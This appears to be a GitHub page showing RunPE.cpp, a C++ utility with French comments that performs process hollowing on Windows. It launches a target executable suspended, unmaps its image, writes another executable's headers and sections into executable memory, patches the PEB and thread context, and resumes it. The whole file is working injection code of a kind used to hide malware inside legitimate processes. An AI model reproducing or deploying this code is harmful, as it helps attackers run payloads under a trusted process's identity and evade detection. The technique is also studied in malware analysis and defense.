-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathRunPE.cpp
More file actions
215 lines (187 loc) · 6.57 KB
/
RunPE.cpp
File metadata and controls
215 lines (187 loc) · 6.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
// RunPE.cpp : définit le point d'entrée pour l'application console.
//
/*
* Utilitaire pour lancer un processus dans un autre
* @author : Tomtombinary
*/
#include "stdafx.h"
#include "RunPE.h"
#include "sysutils.h"
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dwReturnCode = 0;
if (argc > 2)
{
ResolveNativeAPI();
dwReturnCode = CreateProcessAndInjectPE(argv[1], argv[2]);
}
else
{
wprintf(L"==== RunPE utility tools ====\n");
wprintf(L"Author: Tomtombinary");
wprintf(L"Usage : %ws <TargetExe> <ImageExe>\n", argv[0]);
}
return dwReturnCode;
}
/*
*
* Créer un processus et remplace l'image de celui-ci par celle du paramètre SourceExePath
* @param TargetExePath : chemin de l'executable à lancer puis à remplacer
* @param SourceExePath : chemin de l'executable à injecter dans la cible
* @return 0 si l'injection échoue
* 1 si l'injection réussie
*/
DWORD CreateProcessAndInjectPE(LPCWSTR TargetExePath, LPCWSTR SourceExePath)
{
DWORD dwReturnCode = 0;
STARTUPINFOW SI;
PROCESS_INFORMATION PI;
MAPPEDFILE mFile;
/*
* Création du processus en suspend
* thread en suspend sur RtlUserThreadStart
*/
ZeroMemory(&PI, sizeof(PROCESS_INFORMATION));
ZeroMemory(&SI, sizeof(STARTUPINFOW));
if (!CreateProcessW(TargetExePath, NULL, 0, 0, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, 0, 0, &SI, &PI))
{
fprintf(stderr, "[-] CreateProcessW failed\n");
return RUNPE_FAILED;
}
/* Mapping du fichier en mémoire */
if (MapFileFromName(SourceExePath, &mFile))
{
/* Injection du fichier dans le processus */
dwReturnCode = InjectPE(&PI, mFile.lpView, mFile.dwFileSize);
}
else
fprintf(stderr, "[-] MapFileFromName failed\n");
/* Demapping du fichier en mémoire */
UnmapFile(&mFile);
return dwReturnCode;
}
/*
*
* Remplace l'image d'un processus par une autre
* @param pProcessInfo : pointeur vers une structure qui contient les informations du processus
* @param Buffer : pointeur vers la nouvelle image du processus
* @param SizeOfBuffer : taille de la nouvelle image
* @return 0 si l'injection échoue
* 1 si l'injection réussie
*
*/
DWORD InjectPE(LPPROCESS_INFORMATION pProcessInfo, PVOID Buffer, DWORD SizeOfBuffer)
{
DWORD dwOldProtect;
PEB Peb;
WOW64_CONTEXT Context;
BOOL bSucess = FALSE;
ZeroMemory(&Context, sizeof(WOW64_CONTEXT));
Context.ContextFlags = CONTEXT_FULL;
/* Recupère le contexte du thread principal */
if (!Wow64GetThreadContext(pProcessInfo->hThread, &Context))
{
fprintf(stderr, "[-] GetThreadContext failed\n");
return RUNPE_FAILED;
}
printf("Context :\n");
printf("\t- EIP : 0x%x\n", Context.Eip); // ntdll_xxxxxxxx!RtlUserThreadStart
printf("\t- EAX : 0x%x\n", Context.Eax); // Image EntryPoint
printf("\t- EBX : 0x%x\n", Context.Ebx); // ImageBase
printf("\t- ECX : 0x%x\n", Context.Ecx);
printf("\t- EDX : 0x%x\n", Context.Edx);
printf("\t- EDI : 0x%x\n", Context.Edi);
printf("\t- ESI : 0x%x\n", Context.Esi);
printf("\t- EBP : 0x%x\n", Context.Ebp);
printf("\t- ESP : 0x%x\n", Context.Esp);
/* Lit le Process Environment Block du processus cible */
if (!ReadProcessMemory(pProcessInfo->hProcess, LPCVOID(Context.Ebx), LPVOID(&Peb), sizeof(PEB), NULL))
{
fprintf(stderr, "[-] ReadProcessMemory failed\n");
return RUNPE_FAILED;
}
PIMAGE_DOS_HEADER IDH = PIMAGE_DOS_HEADER(Buffer); //Entête DOS
PIMAGE_NT_HEADERS32 INH = PIMAGE_NT_HEADERS32(DWORD(Buffer) + IDH->e_lfanew); // Entête NT
printf("Machine : %x\n", INH->FileHeader.Machine);
printf("NumberOfSections : %d\n", INH->FileHeader.NumberOfSections);
printf("UnmapView at %x\n", Peb.Reserved3[1]);
/* Libère l'ancienne image du processus */
if (NtUnmapViewOfSection(pProcessInfo->hProcess, Peb.Reserved3[1]) != 0)
{
fprintf(stderr, "[-] NtUnmapViewOfSection failed\n");
return RUNPE_FAILED;
}
/* Realloue de la mémoire pour la nouvelle image du processus */
LPVOID pImageBase = VirtualAllocEx(
pProcessInfo->hProcess,
Peb.Reserved3[1],
INH->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
printf("ImageBase : %p\n", pImageBase);
if (pImageBase)
{
if (WriteProcessMemory(
pProcessInfo->hProcess,
pImageBase,
Buffer,
INH->OptionalHeader.SizeOfHeaders, NULL))
{
// Remappe chaque sections au bon endroit
// ImageBase + RVA de la section
for (int i = 0; i < INH->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER ISH = PIMAGE_SECTION_HEADER(DWORD(Buffer) + IDH->e_lfanew + sizeof(IMAGE_NT_HEADERS32) + (i * sizeof(IMAGE_SECTION_HEADER)));
printf("Section %s : \n", ISH->Name);
printf("\t- Virtual Address : 0x%x\n", ISH->VirtualAddress);
printf("\t- Raw Size : %d\n", ISH->SizeOfRawData);
printf("\t- Pointer to Raw Data : 0x%x\n", ISH->PointerToRawData);
printf("\t- Characteristics : %x\n", ISH->Characteristics);
bSucess = WriteProcessMemory
(
pProcessInfo->hProcess,
LPVOID((DWORD)pImageBase + ISH->VirtualAddress),
LPVOID((DWORD)Buffer + ISH->PointerToRawData),
ISH->SizeOfRawData,
NULL
);
/* Applique les caractéristiques */
bSucess = VirtualProtectEx(pProcessInfo->hProcess, (LPVOID)((DWORD)pImageBase + ISH->VirtualAddress), ISH->Misc.VirtualSize, ISH->Characteristics & 0xFFF,&dwOldProtect);
}
// On met à jour le Process Environement Block
bSucess = WriteProcessMemory(pProcessInfo->hProcess, LPVOID(Context.Ebx + FIELD_OFFSET(PEB, Reserved3[1])), LPVOID(&pImageBase), sizeof(LPVOID), NULL);
if (!bSucess)
{
fprintf(stderr, "[-] WriteProcessMemory failed\n");
return RUNPE_FAILED;
}
/*
* Le thread est en suspend sur ntdll_xxxxxxxx!RtlUserThreadStart
* Avec Windbg (x64)
* u ntdll_xxxxxxxx!RtlUserThreadStart
* 00000000`xxxxxxxx 89442404 mov dword ptr [rsp+4],eax <--- image EntryPoint
* 00000000`xxxxxxxx 895c2408 mov dword ptr [rsp+8],ebx <--- image base
* 00000000`xxxxxxxx e9e9960200 jmp ntdll_xxxxxxxx!_RtlUserThreadStart
*/
Context.Ebx = (DWORD)pImageBase;
/*
* [!] A la reprise du thread,
* le processus ajoute à EAX l'offset entre image base rélle et celle désirée,
* il faut donc mettre l'adresse de l'entry point désiré (et non réel)
*/
Context.Eax = INH->OptionalHeader.ImageBase + INH->OptionalHeader.AddressOfEntryPoint;
printf("EntryPoint : 0x%x\n", Context.Eax);
/* On met à jour le contexte du thread principal */
bSucess = Wow64SetThreadContext(pProcessInfo->hThread, PWOW64_CONTEXT(&Context));
if (!bSucess)
{
fprintf(stderr, "[-] SetThreadContext failed\n");
return RUNPE_FAILED;
}
/* Reprise du thread principal */
ResumeThread(pProcessInfo->hThread);
}
}
return 0;
}